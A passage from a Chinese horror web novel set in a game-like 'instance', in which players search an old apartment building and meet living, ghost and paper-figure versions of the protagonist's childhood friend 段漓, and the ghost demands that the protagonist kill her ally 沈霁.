虽然苍老，但她腿脚利索，并没有拄着拐杖。
而她的鬓发经过时间的风化已然苍白，眼窝微微凹陷，一双漆黑的眼眸在里面打转，似乎在审视着这几位不速之客。
许舟帽檐下的双眼与她对视，下一刻便垂眸，静静地盯着自己的双脚。
她认识老妇。
老妇是她当年的邻居。
“奶奶好。”箫云筝见到老妇全貌后，温恭有礼地与她问好，而后诚恳地问道，“楼外正下着暴雪，我们只是几个过路的旅人，想在楼内避避雪。”
许舟低垂的眼眸扫了一眼他的方向——这人大部分时候还是很正常的。
除了他的作风有些浮夸激进，比如在图书馆时为了帮助艾拉，选择杀死所有对立NPC。
“如果能有地方借宿一晚就更好了。”箫云筝的话拉回了瑶姐的神智，她眉眼弯弯地暗示。
“都在说什么胡话！”老妇的声音倏地变大，更显中气十足，“智汇街偏僻荒远，怎会有过路的旅人！”
许舟口罩下的嘴无奈地一扯。
这熟悉的邻居在副本里还是一样的思维敏捷。
哪怕人已年迈，但头脑却如年轻时一般灵活。
老妇的话一时让所有人陷入缄默。
老妇的眼睛滴溜溜地转，她继续向众人靠近，似乎下一秒就要将众人扫地出门。
“其实，我们是来找人的。”许舟低哑地说，她的话语让老妇短暂地停下了前进的脚步。
“找谁？”老妇打量着这面部只露出一双眼睛的怪异女人许舟，“如果是来找人的，为什么刚刚要骗我？”
“外面下雪了，把我们脑子冻得有些不清醒。”许舟自嘲地说道。
“找谁？”老妇再次发问，声音低沉有力。
其余六人不约而同地用余光瞟向许舟。
她接下来的话语将直接决定众人的去留。
许舟虽眼神闪烁，但仍坚定地吐出来两个字。
“花舟。”
“花舟？”老妇提高了嗓音。
“就是被人发到网上的那个。”姚务锦似乎邀功急切，他上前两步说道。
语罢还得意地看了许舟两眼。
许舟在心里无奈地叹了口气。
“什么网上不网上的？！”老妇怒了，“你们忽悠我？！”
“他脑子最不清醒。”沈霁穿过众人，走上前去。
箫云筝皮笑肉不笑地把姚务锦拉到最后。
姚务锦仍一脸懵：“怎么了？”
瑶姐虽有些愠怒，但仍在后头耐心给姚务锦解释：“花舟被人发到网上的时间节点是我们在现实世界的时间，但我们坐车来到这里之后，时间就回到了事件发生的那天。”
“也就是说，在此刻，事件还没发生，怎么会被人发到网上。”箫云筝不耐道，“更何况，在这个偏远地方的这个时间节点，网络恐怕都没普及，老妇人甚至都不知道什么是上网。”
姚务锦这才知道自己坏了事，畏畏缩缩地躲在最后的阴影处。
而许舟咬字清晰地对着老妇：“他想说的是，住在406那个花舟。一时语塞说错了。”
“你们把我当傻子耍？”老妇怒发冲冠。
除了站在前面的许舟和沈霁，其他人齐齐动了动腿脚，做好一溜烟逃跑的准备。
“兰姨。”许舟平静地从喉咙冒出两个字。
“你，你知道我？”被称为兰姨的老妇瞬间熄了火，难以置信地张了张嘴。
“对。花舟和我们说，她有个很好的邻居叫兰姨。”许舟一本正经地说道，“就是您吧？”
在许舟的记忆里，兰姨对待她和段漓都是视若己出，虽然兰姨对外人不善，但对她们俩却是个很亲切的存在。
而且，会叫她“兰姨”的人，只有许舟和段漓。
“这...我确实是兰姨。”兰姨先前的疑虑被许舟打消，她摸了摸鼻子，“难道真的是我搞错了？”
稍许，兰姨摇了摇头：“我还是带你们去问问花舟本人吧。”
众人刚刚落下的心一下子又被提到了嗓子眼。
见了花舟，一切露馅。
许舟却是眉尾一挑——这个副本里，会有小时候的自己吗？
“兰姨兰姨～”一段清脆的脚步声从楼下传来。
小女孩蹦蹦跳跳地上了楼。
“阿漓？”兰姨看见段漓的身影，一改严肃之色，慈祥和蔼地问道，“这么晚了，在外面做什么呢？”
“兰姨，我在外面玩雪。”段漓甜甜地笑了，挥舞手臂对兰姨比了个大大的爱心。
“好好好。”兰姨乐呵呵地说，“下次叫上花...”
“诶？”段漓看向七个不速之客，打断了兰姨的话，“你们不是花舟的亲戚吗？”
兰姨对段漓的话不疑有他，她对众人的话温和了许多：“原来真的是来找花舟的。不好意思啊，错怪你们了。”
“花舟可能已经睡了。”段漓委屈巴巴地戳了戳藏在衣袖里的手指，“要不你们今晚先来我家吧？”
“你家住不下这么多人吧。”兰姨思索片刻，“可以分一些人来我家。”
众人望向许舟，似乎在征询她的意见。
毕竟，刚刚也是她解的围。
许舟微眯双眼，看着眼前这个小段漓。
如果这是当年事发前的段漓，她不可能会认识七人。
一阵冷风从楼梯间上破损的窗户传来，掀起了段漓的衣袖，露出了她蜷缩在其中的手指。
许舟眼尖地发现，她的两边食指上都有一道纤细的勒痕。
就好像是...这两根食指，用细长的绳子勒什么东西时留下的。
许舟不由自主地联想到被小女孩从身后用绳子勒死的廖帆。
眼前的这个段漓，是副本里所谓死去多年的鬼段漓，而非事发前的纯真无邪的人段漓。
那这样一来...这栋楼里，恐怕同时存在两个段漓。
当年还不知道接下来要发生什么的小段漓，和面前的鬼段漓。
想到这里，许舟轻笑两声：“那我们就一部分人去
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段漓妹妹家里住，一部分人去兰姨家住吧。辛苦你们了。”
兵分两路，更为保险。
“不要嘛不要嘛。”披着人脸的鬼段漓却在这时撒娇似地摇了摇头，“我后悔啦。我只想和这位姐姐一起住。其他人就都去兰姨家住吧～”
包括兰姨在内的所有人都是一怔。
谁也不知道段漓葫芦里卖的是什么药。
“好好好。”兰姨宠溺地拍了拍鬼段漓的头，“听你的。”
被架在火上烤的许舟微不可察地点了点头：“好，就听你的。”
“好耶好耶。”鬼段漓笑嘻嘻地鼓起了掌，拉着许舟的衣角就往段漓家403走去。
“你们也跟我来吧。”兰姨平缓地和其余六人说道，带着他们走向她家405。
“话说，黎心怎么知道这人叫兰姨？”白书圆走在后头，轻声问其他人。
“她是大佬，什么都知道。”姚务锦慢吞吞地说。
箫云筝摸了摸下巴，同样对此感到好奇。
然而瑶姐却轻声道：“我们进来时，不是看见一楼有个保安室吗？那上面挂了每一户的住户姓名，黎心应该就是在那看到的。兰姨又是从楼道最里面走来的...”
“噢，我懂了。”白书圆拍了拍脑袋，“最里面是406和405，花舟住406，所以老妇一定是405的兰姨。”
“我都没注意到保安室门口挂了什么呢。”苏灵妤真心实意地夸赞，“瑶姐，你好厉害，看来我们要学习的还有很多。”
听到瑶姐的解释，沈霁略微放了心。
这下许舟的身份便不容易被暴露。
然而他们经过停驻在403门口的许舟和段漓身边时，两人都听到了他们的对话。
许舟若有所思地看了眼瑶姐的背影。
一楼确实有保安室，但......保安室门上真的挂了每一个住户的姓名吗？
许舟过去在楼里生活了八年，却对此丝毫没有印象。
觉察到许舟的目光，鬼段漓笑嘻嘻地拉了拉许舟的衣角：“你在想什么呀。黎心。”
黎心二字，鬼段漓刻意放慢且加重了语气。
她知道眼前人是花舟而非她自称的黎心。
“没什么。”许舟沉着地予以回击，重音道，“鬼段漓。”
“大佬，保重。”经过403的姚务锦依依不舍地说道。
他在副本里长期受到许舟的庇护，一下子有点不习惯。
“都在嘀嘀咕咕些什么呢。”兰姨回头看了一眼几人，温声提醒道，“夜深人静，不要打扰到四周的邻居了。”
除许舟外的六人点了点头，快步向前。
在许舟的注视下，鬼段漓并没有掏出钥匙，而是轻轻把手平放在钥匙孔上。
“啪嗒”一声，403的门缓缓打开。
“好啦好啦。”鬼段漓轻快地说道，“进来吧。”
维持表面平和的许舟点了点头，走进了403。
在她踏入屋中的下一秒，门关上了。
黑暗中，一双眼睛在不远处静静地凝视着她。
而身边的鬼段漓，拽着许舟的衣角，不时发出诡异的笑声。
108. 不要低头看手机（16）
蓦然，许舟感到自己的后背被鬼段漓顶住。
鬼段漓似乎是弯着腰，将自己的头顶顶在许舟后腰，正脸朝着地。
“你们是谁？”
面前一双乌黑透亮的眼睛的主人好奇地发问。
她的声音让许舟的心顿时提到了嗓子眼。
这是事发前的，人段漓的声音。
而段漓的不幸将从晚上十点开始。
距离事件发生还有多久？
许舟看着眼前暂且安然无恙的人段漓，额头冒出细密的汗珠。
“你们为什么可以进我家？”
“现在已经九点多了。”
面前的人段漓接二连三地对着许舟和鬼段漓发问。
“咯咯咯。”
鬼段漓一边笑着，一边用头顶着许舟，将她向人段漓的方向推去。
“你在笑什么？”
伴随着许舟和鬼段漓的靠近，人段漓后退了两步。
她的手攥了攥自己的裤袋，神情带着紧张。
403内，灯光尽熄，仅有月光透过窗户。
许舟便依靠着这薄弱的光线，观察到人段漓已经退进了她自己的卧室。
“把门关上。”
鬼段漓在许舟的身后发了话。
语气平淡，却带着不容置疑的命令意味。
“这里是我家！”
“我为什么要把门关上？”
4岁的人段漓不解地问。
话虽如此，她的手已经扶到了门边。
“关上。”
鬼段漓的语气愈发冰冷，却挑起了单纯的人段漓的反抗欲。
她把手缩了回来。
“我偏不！”
“我就不关！”
她对着两人大叫。
“关上。”
鬼段漓用力一推许舟。
四岁的身体，却有着无穷的力量。
许舟向前踉跄了两步。
在人段漓的抗拒和鬼段漓的命令之间，许舟最终关上了门。
当许舟关上门后，鬼段漓三步并作两步，向前开了灯。
客厅瞬间恢复清明。
鬼段漓像在403外开门时一般，将自己的小手掌轻放在卧室门锁上。
刹那间，空气中传来了门反锁的“啪嗒”声。
“你们干什么！”
“为什么要把我锁起来！”
人段漓拼命地在里面拍打着卧室门。
老旧的木门，嘎吱响与拍打声此起彼伏。
而亮起的灯让许舟得以重新审视这她十几年没再进入过的段漓的家。
卧室门便有一个古老的钟。
此刻，时针正指着数字九，而分针指向数字十一。
现在是晚上九点五十五，再过五分钟，不谙世事的小花舟就会敲响段漓家的门。
那个问题再度在许舟心底浮现——这里会有过去的自己，也就是小花舟吗？
“快放我出去！！！”
人段漓在里面大喊，带着一抹哭腔。
锁上门的鬼段漓缓缓回头，她的面貌早已不是四楼走道时的人样。
她的脸已经化作死人般的青灰色。
“你为什么要把她关进去？”许舟盯着眼前的鬼段漓。
“因为我还不想你死。”鬼段漓诡异地嘻嘻一笑，“我本想让他们一齐审判你的罪过，但转念一想，这样太没意思了。”
“他们？”许舟轻声问道。
“就是和你一起来到智汇街13号的那群人啊。”鬼段漓理所当然地说道，“由于这样没什么意思，所以我最后还是选择让你独自和我进来。”
听了鬼段漓的话，许舟自然而然地知道没有什么好事在这等待着自己。
“开门！！！”
卧室内的人段漓依旧在哭闹。
也正是她的声音盖过了门外许舟和鬼段漓的对话声，让她不知道外面两人在沟通什么。
鬼段漓勾了勾有些开裂的唇角，似乎在等待着许舟来问。
也许，对她来说，吊人胃口更有意思。
但也正因如此，许舟看她的眼神中多了一抹寒光。
她确信了这鬼段漓的所作所为都是副本的设置，与现实中的那位邻居段漓没有任何关系。
段漓不爱吊人胃口，她沉不住气，有什么都会马上说。
想到这，许舟面对这“昔日故友”时更加沉着冷静。
“那怎么样才有意思？”许舟冷笑着问。
“你进入星市孤儿院后，在里面交过一个好朋友。”鬼段漓笑意盎然，语气却带着质问，“我因你而死，你转头就交了别的朋友？“
冷静的许舟在听到“因你而死”一语后，心脏猛然被什么东西揪了一下。
段漓的生与死，由于她多年铭记而又刻意回避过去，对她而言始终是一个谜。
鬼段漓是假的。
但段漓在事件里死了，是真的吗？
许舟眸光微动，强忍着心里的疼痛：“然后呢？”
“离开孤儿院后，你应该还交了不少朋友吧？”鬼段漓继续问道，“外面那个叫沈霁的，看样子也是你的朋友呢。”
该来的总要来。
许舟微眯双眼。
思绪短暂地回到了在进入“不要低头看手机”副本前，与曲心奕沟通应对系统对策的那会儿。
......
许舟坐在前往缤纷广场见沈霁的出租车上。
浮舟已渡：回现实了吗？
浮舟已渡：【乖巧】
奕影初现：回啦回啦。
浮舟已渡：系统说要和我合作！！！
当许舟与曲心奕长话短说之后，曲心奕从惊讶到接受现实。
奕影初现：！！！
奕影初现：但最后那个附加条件......总让人觉得不太安心。
浮舟已渡：我总觉得所谓的到时就知道了的条件，和沈霁有关系。
奕影初现：此话怎讲。
奕影初现：【乖巧】
浮舟已渡：首先！
浮舟已渡：沈霁对副本和系统的相关信息把握甚多，对系统来说，他是一个潜在的祸患。
奕影初现：这倒确实...不过我觉得，我们把握也挺多的。
奕影初现：不过显然BOSS阵营玩家要比普通玩家少，所以考虑到稀缺性的问题，系统不会对我们下手。
浮舟已渡：对！
浮舟已渡：其次，我和系统合作。要让他们完全相信我，他们肯定会想让我交投名状。
奕影初现：你说的不会是...
浮舟已渡：没错，系统直接抹除他有违规则。
浮舟已渡：但系统可以借助副本任务和剧情，让我来杀掉他。
......
许舟睁开了眼。
人段漓仍在房间内急切地哭闹。
鬼段漓用她青白的手指慢悠悠地在空气中画了个圈。
“我不想让你有其他朋友。”鬼段漓轻声道，“杀掉他，那个叫沈霁的人。”
“我为什么要这么做？”许舟冷笑两声，“别说是朋友了，就算是个陌生人，我也不会无缘无故把人杀了。”
“你把他杀了。”鬼段漓凭空变出
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一个称，在上面放上砝码使其平衡，“等价交换，我告诉你一个秘密。”
许舟眼神闪烁。
这个秘密恐怕与剧情完成度有关。
“并且，这个秘密，只有我能告诉你。”鬼段漓笑了笑，“在这智汇街13号里，想知道这个秘密，你没有第二条路。”
许舟深吸一口气。
冷风入了鼻腔，像一把利刃，刺得人生疼。
果然，哪怕在这与沈霁假装不熟，作用也只是隐匿两人反抗系统的计划，却不能改变系统会让她除掉沈霁的事实。
鬼段漓手中的称凭空消失。
她回眸看了一眼时钟：“快十点了。提醒你一句，这智汇街13号的时间，以六小时为一个周期。咱们有缘再见。”
下一秒，分针秒针同时在数字十二上重合，而时针走向数字十。
十点到了。
然而小花舟来找段漓的敲门声并没有如期而至。
然而，鬼段漓凭空消失在门前。
卧室门内的哭闹声和拍打声也消失了。
“段漓！”许舟担心地叫了一声。
虽然她知道鬼段漓是副本制造的赝品，但这个纯真的人段漓却与她记忆中的段漓无异，让她忍不住去关心。
门内寂静无声，此刻针落可闻。
“你等我。”许舟轻轻唤了一声，而后凭借记忆拉开段漓家的茶几，拿出了一把备用钥匙。
能用钥匙开门的时候，许舟都不会采取撬锁的办法。
钥匙被插进锁孔，许舟握着钥匙柄扭了下，卧室门应声而开。
许舟摸了摸卧室门旁的内墙，找到开灯键，按开了卧室的灯。
卧室内，墙角是一张粉红色的儿童单人床，床边是书桌和木椅。
而地板上，并没有人段漓。
人段漓，就这么随着鬼段漓的消失而消失了。
“咚咚咚。”
一阵富有节律的敲门声传来。
“花......花舟？”许舟对着门外轻轻地喊了一声。
对着别人喊自己的名字，多少有点别扭。
“是我们。”瑶姐轻灵的声音从门外传来。
果然。
果然不是花舟。
许舟记得很清楚，自己敲响段漓家的门的时间是十点整，一秒都没多。
她走到门口，拉开了门。
瑶姐半开玩笑似的说道：“你以为是花舟敲门吗？”
“花舟敲门时间是十点。现在已经过了一两分钟了。”箫云筝道。
“这时间怎么记得这么清楚...？”白书圆疑惑道。
“段漓在网上发那条链接写了。”瑶姐耐心解释。
“段漓是个时间观念很强的人。如果没有别的事，她会准时在十点睡觉。”许舟似乎在对别人解释的同时，又对自己说道。
“花舟来找她的时候是压着十点到的，她在门口还看了几眼手表确定时间。”提到小时候的自己，许舟心里莫名升起一股怀念。
“大佬怎么什么都知道！”姚务锦开始奉承。
“带我进来的段漓告诉我的。”许舟撒了个不轻不重的小谎，在告诉其他人信息的同时捂住了自己的隐私。
“那个段漓，是鬼吧。”瑶姐轻声问道。
许舟一挑眉，点了点头。
白书圆自豪地说道：“瑶姐和我们说了，这里可能同时存在两个段漓。人段漓和鬼段漓。”
许舟轻笑两声，带他们来到卧室：“十点整的时候，人段漓在这个房间消失在了。”
“那是什么！”苏灵妤倏地指向了一个方向。
109. 不要低头看手机（17）
卧室内吊灯将静谧的黄光打在儿童单人床上。
一席棉被微微隆起，宛若包裹着什么东西。
仔细一看，隆起的形状...似乎是个人形。
“段漓......？”许舟试探性地唤了一声。
这是段漓的房间，也是人段漓消失前最后出现的地方。
所有人理所当然地认为，人段漓这是躲到了被子里。
然而，在许舟浅浅的呼唤下，被子不动如初。
从隆起的人形的小腹位置看去，并没有呼吸该有的起伏。
“人段漓......死了？”秀丽文雅的苏灵妤瞳孔微缩，不免往最坏的情况考虑。
但虽是如此猜测，七人却面面相觑，一时无人原意主动上前查看这薛定谔的猫。
半晌，沈霁神色一沉，快步上前，一把掀开了被子。
“啊——”白书圆短促地叫了一声，躲到了瑶姐的身后。
被子下，竟是一个纸人！
纸人身形如孩童般大小，画有一头双马尾，身穿明朗可爱的粉色睡衣。
“这纸人，是依照人段漓的模样所制成的。”许舟慢步上前，压低声音道。
“没错。”沈霁附和道，“她的相貌，与我们进入副本来见到的段漓相貌相符。”
“那就是说......”瑶姐的声音有些颤抖。
“这智汇街13号里，有三个段漓。”许舟指出难以回避的真相，“纸人段漓，人段漓和鬼段漓。咳咳......”
“你生病了？”白书圆虽然害怕，但听到许舟的咳嗽声，探了个头出来问道。
“小病。”许舟不咸不淡地说。
她的咳嗽，只是为了行她对箫云筝所言的感冒之实，不被他辨认出自己的声音与图书馆副本中艾拉的声音相同。
“刚刚你和鬼段漓进来后，都发生了些什么？”瑶姐缓过神来，清醒地问道。
许舟摸了摸下巴。
她并不介意与瑶姐分享信息。
起码迄今为止，瑶姐在众人心目中的形象，还算不错。
但当许舟正要开口时，却又被瑶姐打断。
她顺畅自然而又真诚地说道：“刚刚我们和兰姨进到她家后，兰姨和我们说了一段似是而非的话，似乎是我们的通关任务。”
“哦？”虽然普通玩家任务对BOSS阵营的特殊玩家许舟而言，并不重要，但她还是礼貌性地疑惑道。
“她给了我们一个老式DV机。”瑶姐顿了一下，似乎是在组织语言，“兰姨告诉我们，段漓有个心愿，就是用DV机记录下最重要的三小时。”
“兰姨希望我们可以帮段漓完成这个心愿。”苏灵妤思索片刻道。
“这应该是鬼段漓告诉兰姨的。”许舟沉吟道。
她可不知道她认识的段漓有过这样一个心愿。
“我也觉得。”沈霁分析道，“我看了一下兰姨家与段漓家的居住环境，她们应该都不会有多余的钱买一台DV机。”
瑶姐点了点头：“有道理。那这台DV机，只能是鬼段漓给的。”
“她所说的最重要的三小时，应该就是花舟段漓那件事情事发的完整三小时。”许舟回忆了一下，事情开始在十点，结束也大约在次日凌晨一点，“咳咳......她想我们把这件事完整地拍下来。”
“她为什么要这样做啊？”姚务锦挠了挠他的头。
“笨。”箫云筝瞥了他一眼，“录下事情全程的视频，带回我们坐车前的那个世界，发到网上，作为那个链接的补充证据。”
“哦...哦。”姚务锦有些畏惧地对上了箫云筝的目光，而又低下了头去。
“但问题是，我们要怎么拍呢？”苏灵妤似乎感觉到了烦恼，“现在已经十点了，但眼前这个段漓却是纸人。”
“所以我想知道，在鬼段漓带你进入403后，这里都发生了什么。”瑶姐对着许舟浅浅地笑了笑。
许舟报以一个同样真诚的微笑，毕竟瑶姐在刚才，已然主动分享了信息。
许舟将关于她真实身份与除掉沈霁的事情隐去，尽可能地将事情全面陈述。
“鬼段漓说，这里的时间，以六小时为一个周期？”沈霁捕捉到了话语里的重点。
“咳......没错，到底指代什么，还需要再等等看。”许舟本着小心驶得万年船的心理道。
“不能直接用DV机对着纸人拍吗？”姚务锦眼神闪烁，对他积怨已久的箫云筝道，“那台DV机不是在你那吗？你去试试？”
“......”箫云筝气笑了，拿出那台老式DV机，递给了姚务锦，“给你，你对着纸人拍试试。”
“算了算了。”姚务锦却又退缩了，他连连摆手。
“你不是要拍吗？”箫云筝的手又向前递了递。
“万一有什么危险呢？再说，如果要完整地拍下来，还得熟悉一下这里的环境，知道事情发生的具体门牌与房间。”姚务锦解释道。
“原来你也知道啊。”没轮到箫云筝说话，沈霁便讥讽道，“自己不想，让别人冒险？”
姚务锦乖乖地闭上了嘴。
“这栋居民楼楼层不多，一共就五层。”瑶姐组织起了众人，“不如我们分成三组，分头查看不同楼层与房间。”
其他人对此并无异议。
“我们......可以和你一组吗？”苏灵妤拉着白书圆，问身边的瑶姐。
“如果可以的话，真的非常感谢。”白书圆附和道，“不可以也没关系，瑶姐你不要太有心理负担。”
“当然可以。”瑶姐温暖地一笑，“这里一共有七人，我们人数占多，就负责一楼和二楼吧。”
“太好了！”白书圆面露欣喜，“我们之前素不相识，你愿意帮我们这么多，真的很感谢你，瑶姐。”
“如果有机会回到现实......我们请你吃饭！”苏灵妤更是满心欢喜。
“你们三个，在现实世界不认识吗？”一直以为三人是组队进本的箫云筝道。
“不认识。”瑶姐摇了摇头，“我们是下了前往智汇街的车后相遇的。我看她们两个新人进副本，就多帮衬点。”
“也是瑶姐告诉我们，上来智汇街的车不一定要真的交出现用手机，可以交备用机之类的。”白书圆遗憾地说，“可惜我们和瑶姐相识是在下车后，我和苏灵妤已经交出了现用手机。”
“哇哦。”箫云筝吹了个口哨，“你们两个新人，能走到这已经
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很不容易了。”
沈霁和许舟认可地点点头，此刻的点头是最好的鼓励。
白书圆有些不好意思地笑了笑：“我和苏灵妤都是星市的人，所以对这里的交通比较熟悉......”
“我不是星市的。”瑶姐紧接着道。
“我伤心了。”箫云筝捂脸仰面，“你们这么多人都是星市的，而我们这些不是星市的还要苦哈哈从外地赶来智汇街。”
“还没分完组呢。”姚务锦小声嘀咕。
“我和这位叫沈霁的先生一组吧？”箫云筝笑道，“我们可是熟人了。”
沈霁用余光微不可察地瞟了许舟一眼。
许舟面无表情地直视前方：“我和姚务锦一组。”
“黎心大佬，我就知道你还会原意带我的。”姚务锦炫耀似地看了箫云筝一眼。
箫云筝回赠了一个白眼。
最终沈霁解了围：“那我就和箫云筝就一组吧。我们去三楼？”
“没问题。自然是听沈霁先生的。”箫云筝理所当然道。
“我们去五楼，咳咳......”许舟对姚务锦道，“四楼明显是最重要的地点，段漓家、花舟家以及兰姨家都在四楼，四楼就所有人一起探查。”
箫云筝眉眼弯弯地比了个OK的手势：“探查后我们在四楼楼梯口集合。”
“那事不宜迟，我们三个就先走了。”瑶姐带着白书圆和苏灵妤离去。
许舟四人也向门口走去。
当许舟和沈霁在四楼楼梯口擦肩分别时，两人一言不发，只是默默地点了点头。
既然选择了在这些玩家面前装不认识、在系统面前装决裂，就要一装到底。
许舟最后不舍地看着沈霁手中的手电筒一眼，带着姚务锦踏入漆黑的五楼。
五楼的声控灯暂未完全失灵。
许舟用地剁了两下地板，这天花板顶灯尚且还会时不时亮两下，放出微弱昏暗的黄光。
“这灯好黑。”姚务锦缩了缩肩。
“......有总比没有好。”许舟轻声道，似是怕惊扰楼里可能存在的纸人，“你忘了我们上四楼时，一到三楼那声控灯已经完全失灵，全靠沈霁的手电筒了？”
“好吧......”姚务锦弱弱地说。
光下，一层轻纱般的迷雾在楼道中与灰尘缠绕。
这层迷雾，许舟总觉得......自己在哪里见到过。
“怎么会突然有雾？”姚务锦喃喃。
“不，不是突然有的。”许舟四下张望，寻找着迷雾的源头，“自我们从403出来后，这迷雾就一直在楼里萦绕。”
“当时沈霁的手电筒打着常亮的光，我们反而没能察觉迷雾。”许舟看向四楼与五楼的楼梯夹层窗户，从那里似乎飘进一缕缕雾，“而现在，灯一闪一闪的，我们便发现这里有着一重迷雾。”
她带着姚务锦快步走去，循迷雾之源头：“这迷雾来源于楼外。”
当她的目光扫向智汇街13号外时，一番熟悉的景象跃入她的眼帘，与她的记忆产生了重叠。
“这......这。”姚务锦眼中一惊。
许舟轻倚在窗边，望向窗外浓浓的迷雾，久久没有回过神来。
110. 不要低头看手机（18）
一段又一段的记忆相继涌入许舟的脑海。
她的脑子在短时间内承受了极高负荷的运作，令她神情有些怔愣。
许舟上一次看见这一片迷雾时，是在副本里，前往父亲许钊和母亲黎茗丽家被迫重启后。
当时她摔碎了自己副本里的手机，得到了两次重启时失去的所有记忆。
而第二次重启后失忆的她，在智汇街13号看向窗外的浓雾时，又重拾了那些失去的记忆。
“为什么我感觉头脑里多了很多记忆。”姚务锦眉头紧锁。
许舟简明扼要地和他讲述了在来智汇街前的重启规则。
“我的意识体进入这片区域时，这里的雾气还要更浓一点。”许舟回忆起来，“当时我见到了没有行动能力的其他玩家的意识体，应该就是没摔碎手机的你们。”
姚务锦摸了摸宽厚的鼻尖：“原来如此，我在那从没摔碎过手机，所以我没印象进过这片浓雾。”
“如果我当时在迷雾里再徘徊多一段时间，兴许能找到智汇街13号。”许舟思索片刻，“也许这也是对我们目的地的一个提示。”
“不过最终，没了这个提示的我们还是来到了智汇街13号。”姚务锦有些沾沾自喜，“但我印象里，是有三次重启的。”
“三次？”许舟疑惑道，“我印象里只有两次。”
紧接着，姚务锦就将他记忆里三次重启，也就是出现多份记忆的时间节点和盘托出。
后两次重启与许舟记忆里的两次相符。
而第一次重启......
许舟自嘲似地一笑：“我从第一次进入副本开始，就改掉了熬夜的习惯。所以第一次重启的时候我在睡觉，完全没印象。”
姚务锦所述的第一次重启的时间，正是许舟在“不要低头看手机”副本里首次起床的不久之前。
“估计是因为我在现实世界里，那个时间点在睡觉。”许舟先前被窗外厚重广阔的迷雾场景震撼的心灵渐渐恢复，“所以我进入副本后，在那个相同的时间节点，系统默认给我安排了个睡觉的举动。”
“后面两次重启是因为你，那第一次重启是因为谁啊......”姚务锦手托下巴，目光离不开窗外。
许舟察觉副本并非真正的现实世界的时间已经是很早的了。
而这个人，察觉到副本里存在“虚假”“异样”的时间还要早于许舟，甚至可以说是刚进副本不久就有所察觉......
“箫云筝？瑶姐？沈霁？”许舟一一列举了可能的人，“这几个人......可能性比较大...咳咳。”
“箫云筝？”姚务锦嘴巴大大地张开，“他这么厉害？”
“......反正比你厉害。”许舟瞥了他一眼，“咳咳。”
在进入智汇街13号后，姚务锦的举动让本就对他没什么好感的许舟更觉不适。
只不过对于段漓一事，许舟心中愧疚埋藏甚深，故默许了姚务锦对她的批判。
“黎心姐，这里就我们两个人，不用咳嗽。”姚务锦提醒道。
许舟：“......习惯了，咳咳。”
姚务锦：“......”
......
两人从夹层窗口离开，小心翼翼地走回五楼。
许舟用力踏了两脚地板，让五楼恢复了短暂的光线。
“你这样...不会打扰到楼里的人吗？”姚务锦声音细若蚊蝇。
“估计现在这楼里都是纸人而没有活人了，还打扰什么。”许舟头都没回一个，“我之前这样做，你怎么不说。”
“我现在才想起来这档子事......”姚务锦慢吞吞地说道。
五楼与四楼的空间布局一样。
楼梯口附近是501和502，最里面是505和506。
许舟看着这小时候没怎么来过的五楼，心里升起一股好奇。
站在501门口，许舟轻轻敲了敲门，里面毫无反应。
“不会真和你说的一样，楼里都是纸人了吧......？”姚务锦凑过头来，推了推门，门纹丝不动。
许舟不咸不淡地说道：“难道你看见纸人段漓后，还没有这种觉悟？”
姚务锦不吱声了。
许舟却想起什么似的提醒道：“十点的时候，你们应该还在兰姨的405里吧？”
“好像是的......”姚务锦话语中带着一些不确定。
“那十点之后，你们见到过405的兰姨吗？”许舟紧接着问道，“是纸人兰姨还是活人兰姨？”
姚务锦脸色变得煞白：“你这样一说，我才想起来......活人兰姨在和我们说话时，她家的座钟在十点整响了几下，钟声结束时活人兰姨就直接从我们面前消失了，我们叫了半天没见到人，才去找你的。”
许舟倒不觉得意外，她顺着502、503走下去，依次敲门。
但果然，没有一户有反应。
“你怎么一点反应都没有？”姚务锦跟上去。
“......猜到了。”许舟走到504前，敲了敲门，“说不定你现在回405找找，能找到纸人兰姨。”
“......这就不用了。”姚务锦赔着笑脸道，“所以是活人兰姨变成了纸人兰姨吗？”
“严格来说不是的。”见504没反应，许舟耸耸肩，走到了505，“和我们七个人在四楼时的猜测一样，这里有三个段漓，纸人段漓，活人段漓和鬼段漓。纸人段漓和活人段漓不是同一个人。”
“兰姨也有三个？”姚务锦猜测道。
“兰姨应该只有两个，纸人兰姨和活人兰姨，没有鬼兰姨。”许舟敲了敲门，“因为在副本故事设定里，楼里只有段漓在事件中死了，所以变成鬼的只有她一个。”
“为什么是纸人兰姨和活人兰姨相互转化而来的？”姚务锦仍是不解。
“十点整，是那件事的开始节点，应该是一个契机。十点前楼里的都是活人，十点后楼里的都是纸人。”许舟耐心解释，“至于为什么不是相互转化，而是两个不同的人，这很好理解。”
“因为......”
“嘎吱——”
门开启的声音在这除了两个说话便再无声息的五楼楼道里显得那么刺耳可怖。
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许舟后半句话的音量都因此弱了几分：“如果十点钟，活人兰姨变为纸人兰姨，那活人兰姨不应该会在你面前凭空消失，而应该当面变成纸人。”
“那个时间点，纸人兰姨应该凭空出现在了405的其他地方，说明十点预示着活人消失，纸人出现。”
“而段漓同理。如果是活人段漓变成了纸人段漓，那由于十点时活人段漓还在卧室拍门，我们应该在十点后的卧室门后发现站立的纸人段漓，而非在她的床上。”说着，许舟碰了碰面前的门。
这时，两人才发现——开启的，并不是许舟和姚务锦面前的505。
声音源自于他们身后。
许舟和姚务锦猛地回头。
506的门自发地开启了一个小道缝隙。
里面幽深而漆黑，门边没有人影。
门，是自己打开的。
如同在欢迎许舟和姚务锦的进入。
许舟比了个噤声的手势，楼道的声控灯伴随着他们的沉默而熄灭。
五楼的一切归于寂静。
两个人凭借着透过迷雾的那微弱的月光，慢慢地，屏息凝神潜入506。
客厅仍是空无一人，无论是活人，还是纸人。
而屋内的其他门都大敞着，似乎预示着这里的一切都可以公开给许舟和姚务锦，没有什么见不得人的。
许是厅内没纸人让两人放松了不少，许舟摸索着墙面，打开了灯。
“好新鲜的水果！”一时的放松舒展了姚务锦紧绷的神经，他连音量都大上不少。
许舟先是用眼神示意姚务锦压低音量，而后她顺着姚务锦的目光看去，发现客厅的茶几上有一个带着些许破损的塑料果篮。
里面，满是葡萄和桃子。
虽是冬天，看上去却十分香甜可口。
“这户人家，应该很爱吃这两种水果。”许舟轻声轻气道。
“就因为这果篮里只有这两种水果？”姚务锦皱了皱眉。
“现在这里的季节是冬天。葡萄和桃子都不是冬天的应季水果......”许舟一顿，“他们能找到如此新鲜的葡萄和桃子，应该花了不少功夫，足以说明他们对这两种水果的热爱。”
紧接着，许舟看着眼前的水果，却是陷入了缄默。
她的母亲黎茗丽爱吃的水果正是桃子。
而父亲许钊，恰巧爱吃葡萄。
“这也......太巧了吧。”许舟低声喃喃。
“什么太巧？”姚务锦问。
“......没什么。”
